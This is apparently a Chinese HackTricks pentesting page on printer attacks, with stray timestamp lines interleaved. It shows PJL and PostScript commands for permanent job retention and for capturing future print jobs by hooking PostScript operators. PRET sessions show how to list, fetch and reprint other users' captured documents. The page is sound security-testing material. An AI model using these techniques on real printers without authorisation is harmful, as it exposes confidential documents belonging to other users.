2022-04-28 16:01:33 +00:00
< details >
2024-01-08 12:07:15 +00:00
< summary > < strong > 从零到英雄学习AWS黑客技术, 通过< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS 红队专家)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-08 12:07:15 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-01-08 12:07:15 +00:00
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**telegram群组** ](https://t.me/peass ) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm** ](https://twitter.com/carlospolopm )**。**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-01-08 12:07:15 +00:00
# 打印作业保留
2020-07-15 15:43:14 +00:00
2024-01-08 12:07:15 +00:00
某些打印机的存储打印作业可以通过Web服务器访问。通常, 打印作业保留必须为特定打印作业明确激活, 并且可以使用标准PJL命令或专有的PostScript代码完成。然后, 作业将保留在内存中, 并且可以从控制面板重新打印。
2020-07-15 15:43:14 +00:00
2022-05-01 12:49:36 +00:00
## PJL
2020-07-15 15:43:14 +00:00
2024-01-08 12:07:15 +00:00
通过设置PJL HOLD变量, 可以为当前文档启用合法的打印作业保留, 如下所示:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
@PJL SET HOLD=ON
[actual data to be printed follows]
```
2024-01-08 12:07:15 +00:00
保留作业会被保存在内存中, 并且可以从打印机的控制面板重新打印。这个功能由多种打印机支持, 但似乎只有一些Epson设备允许使用`@PJL DEFAULT HOLD=ON`设置永久作业保留。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**如何测试这种攻击?**
2020-07-15 15:43:14 +00:00
2024-01-08 12:07:15 +00:00
使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`hold`命令在pjl模式下, 检查是否可以设置永久作业保留:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF
```
2022-05-01 12:49:36 +00:00
## PostScript
2020-07-15 15:43:14 +00:00
2024-01-08 12:07:15 +00:00
PostScript 提供了类似的功能,但这些功能是特定于型号和供应商的。对于 HP LaserJet 4k 系列和各种 Kyocera 打印机,可以通过在 PostScript 文档前添加以下命令来启用打印作业保留功能:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
< < /Collate true /CollateDetails
< < /Hold 1 /Type 8 >> >> setpagedevice
```
2024-01-08 12:07:15 +00:00
```markdown
虽然理论上可以使用[startjob](./#postscript-ps)操作符永久启用PostScript作业保留, 但是CUPS会在每个打印作业开始时使用`< < /Collate false >> setpagedevice`明确重置此设置。然而,攻击者可以永久重新定义`setpagedevice`操作符,使其完全不起作用。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**如何测试此攻击?**
2020-07-15 15:43:14 +00:00
2024-01-08 12:07:15 +00:00
使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`hold`命令在ps模式下:
```
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.
```
2024-01-08 12:07:15 +00:00
# 作业捕获
2020-07-15 15:43:14 +00:00
2024-01-08 12:07:15 +00:00
如上所述, 在打印对话框中激活作业保留是可能的, 但不常见。然而, 使用PostScript, 可以完全控制当前的打印作业, 并且使用[startjob](./#postscript-ps)操作符, 甚至可以跳出服务器循环并访问未来的作业。如果使用PostScript作为打印机驱动程序, 这样的功能有潜力捕获所有文档。
2020-07-15 15:43:14 +00:00
2022-05-01 12:49:36 +00:00
## PostScript
2020-07-15 15:43:14 +00:00
2024-01-08 12:07:15 +00:00
通过能够挂钩任意PostScript操作符, 可以操纵和访问外部打印作业。为了**解析实际发送到打印机的数据流**, 可以利用PostScript语言的一个非常酷的特性: 使用`currentfile`操作符将其自己的程序代码作为数据读取。这样, 整个要被PostScript解释器处理的数据流可以通过读取访问, 并存储到打印机设备上的文件中。如果打印机不提供文件系统访问, **捕获的文档可以存储在内存中**, 例如在永久PostScript字典中。\
一个实际问题是决定**应该挂钩哪个操作符**, 因为在PostScript解释器处理这个操作符之前, 不会获得数据流的访问权限。由于攻击者希望从一开始就捕获打印作业, **重新定义的操作符必须是PostScript文档中的第一个操作符**。幸运的是, 所有使用CUPS打印的文档都被压缩成一个固定结构, 开始于`currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`。基于这样一个固定结构的假设,攻击者可以从一开始就捕获文档,并在之后执行(也就是打印)文件。对于**非CUPS的打印系统**,这种攻击也应该是可能的,但是**需要适配操作符**。请注意, 使用这种方法无法捕获通常包括介质大小、用户和作业名称的PostScript头部, 因为我们首先在实际文档的开始处挂钩。另一个在每个打印作业开始时挂钩的通用策略是设置`BeginPage`系统参数, 如果打印机支持的话( 大多数打印机都支持) 。这个漏洞可能在打印设备中存在了几十年, 因为仅仅是滥用了PostScript标准定义的语言结构。
2020-07-15 15:43:14 +00:00
2024-01-08 12:07:15 +00:00
使用[**PRET**](https://github.com/RUB-NDS/PRET)中的`capture`命令在ps模式下:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
2023-08-03 19:12:22 +00:00
printer:/> capture
2020-07-15 15:43:14 +00:00
Print job operations: capture < operation >
2023-08-03 19:12:22 +00:00
capture start - Record future print jobs.
capture stop - End capturing print jobs.
capture list - Show captured print jobs.
capture fetch - Save captured print jobs.
capture print - Reprint saved print jobs.
2020-07-15 15:43:14 +00:00
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit
```
2024-01-08 12:07:15 +00:00
现在, 打印任意文档( 确保PRET已断开连接, 以免阻塞打印通道) 。之后, 您可以列出、获取或重新打印捕获的文档:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture: 5.0M
2023-08-03 19:12:22 +00:00
date size user jobname creator
2020-07-15 15:43:14 +00:00
───────────────────────────────────────────────────────────────────────────────
2023-08-03 19:12:22 +00:00
Jan 25 18:38 3.1M - - -
Jan 25 18:40 170K - - -
2020-07-15 15:43:14 +00:00
printer:/> capture fetch
Receiving capture/printer/690782792
2023-08-03 19:12:22 +00:00
3239748 bytes received.
2020-07-15 15:43:14 +00:00
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
```
2022-04-28 16:01:33 +00:00
< details >
2024-01-08 12:07:15 +00:00
< summary > < strong > 从零到英雄学习AWS黑客技术, 通过< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-08 12:07:15 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-01-08 12:07:15 +00:00
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**telegram群组** ](https://t.me/peass ) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >